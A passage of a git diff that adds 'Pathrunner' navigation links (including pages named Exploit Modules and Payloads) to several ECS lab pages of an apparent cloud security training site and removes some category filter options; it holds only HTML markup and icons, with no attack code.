-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ecs-001/index.html b/docs/labs/ecs-001/index.html
index eaa637cd..577302fb 100644
--- a/docs/labs/ecs-001/index.html
+++ b/docs/labs/ecs-001/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ecs-002/index.html b/docs/labs/ecs-002/index.html
index 3a1ef0d8..0ba7c52f 100644
--- a/docs/labs/ecs-002/index.html
+++ b/docs/labs/ecs-002/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ecs-003/index.html b/docs/labs/ecs-003/index.html
index baeca9fd..0efd5400 100644
--- a/docs/labs/ecs-003/index.html
+++ b/docs/labs/ecs-003/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ecs-004/index.html b/docs/labs/ecs-004/index.html
index 4d3ba9c3..127906af 100644
--- a/docs/labs/ecs-004/index.html
+++ b/docs/labs/ecs-004/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ecs-005/index.html b/docs/labs/ecs-005/index.html
index c9ae9533..3f108567 100644
--- a/docs/labs/ecs-005/index.html
+++ b/docs/labs/ecs-005/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
